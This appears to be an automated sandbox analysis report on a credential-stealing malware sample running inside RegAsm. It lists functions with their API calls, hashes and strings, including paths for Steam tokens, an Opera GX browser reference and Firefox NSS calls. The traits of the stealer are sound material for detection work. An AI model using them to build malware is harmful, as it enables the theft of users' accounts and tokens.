Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 60c01dc8b37e4b84b74df1fa8103c1199fcfef80998ad79c597a27a207442b16
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 60c01dc8b37e4b84b74df1fa8103c1199fcfef80998ad79c597a27a207442b16
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416FB7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00416FFE

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041700E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 212f9d999e26f76b20966994f13319e6fa11f2a26421251c526ef5ee57093a08
Instruction ID: 5852b7b14dd5e00f67c9332eee82213ee25541dc93f475b49d312086d811fdd4
Opcode Fuzzy Hash: 212f9d999e26f76b20966994f13319e6fa11f2a26421251c526ef5ee57093a08
Instruction Fuzzy Hash: A5012571E4010967CF00FBE6DD478CD7B74AF04358F514176FA0077152D779AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 22752c67e7cf8aea0990da859bb6639e3ce1bf9e8e527a47f60de06b505466f8
Instruction ID: 27ee426b6b58d638c78c42283a2d386f26495828f80e9e64967a6f8c5e3c9e1b
Opcode Fuzzy Hash: 22752c67e7cf8aea0990da859bb6639e3ce1bf9e8e527a47f60de06b505466f8
Instruction Fuzzy Hash: 49513D71A00119ABCF01FFA5EE468DD7775AF04309F50002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CBB8 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CBC9

Part of subcall function 0041BB6C: lstrlenA.KERNEL32(?,0041CBDA,0041CC7C,00000000,06400000,00000003,00000000,0041757F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BB9E
Part of subcall function 0041BB6C: malloc.MSVCRT ref: 0041BBA6
Part of subcall function 0041BB6C: lstrcpyA.KERNEL32(00000000,?), ref: 0041BBB1

malloc.MSVCRT ref: 0041CC06

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: ee4a01d13f6e4d683757beabffaaf009a5c9ff74aa08d02828624340765fdc95
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: FBF0F0766482119BC7206F66EC8199BBB94EB447A0F054027EE08DB341EA38DC8083E8

Function 004184AE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3e17c25d90c619f2ab5d0386ea12a1a651b811a3425f2742f6fd215a245168
Instruction ID: 897ff34fa84f0db00a67010516d6b662afcd179cf6ab32d5fb27a0f78a31b5bc
Opcode Fuzzy Hash: 0c3e17c25d90c619f2ab5d0386ea12a1a651b811a3425f2742f6fd215a245168
Instruction Fuzzy Hash: 34516031901201BBCE717BEE854AAF6B6D69FA0318B14048FF814AA232DF2D8DC45E5D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 9a3c1d09b9e40a7597b2cc7da5ca01c1bb16281017e0bed6a10907c5fe9172cb
Instruction ID: 1ebf8f7d6142e25c21b1da41a8396f416a06ca8f5008f9c8fada1f01269fc293
Opcode Fuzzy Hash: 9a3c1d09b9e40a7597b2cc7da5ca01c1bb16281017e0bed6a10907c5fe9172cb
Instruction Fuzzy Hash: 30F03AB1E0015DABDB15DF78DC909EEB7FDEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C32D Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C33E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 7e1ead8f594ffd37a66fe6362eb29383efb9f19d531e1b4cac10d1b83140b9e0
Instruction ID: f25db29369a0cc3c2a63bcf2525b0a85751bd4b2dcebbf23d4fd8c8c2b96b222
Opcode Fuzzy Hash: 7e1ead8f594ffd37a66fe6362eb29383efb9f19d531e1b4cac10d1b83140b9e0
Instruction Fuzzy Hash: 3021F6742007148FC320DF6ED485996B7F1FF49324B18886EEA8A8B722C776E881CB55

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C236E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C382120,6C237E60), ref: 6C236EBC
TlsGetValue.KERNEL32 ref: 6C236EDF
EnterCriticalSection.KERNEL32(?), ref: 6C236EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C236F25

Part of subcall function 6C20A900: TlsGetValue.KERNEL32(00000000,?,6C3814E4,?,6C1A4DD9), ref: 6C20A90F
Part of subcall function 6C20A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C20A94F

PR_Unlock.NSS3 ref: 6C236F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C236FA9
TlsGetValue.KERNEL32 ref: 6C2370B4
EnterCriticalSection.KERNEL32(?), ref: 6C2370C8
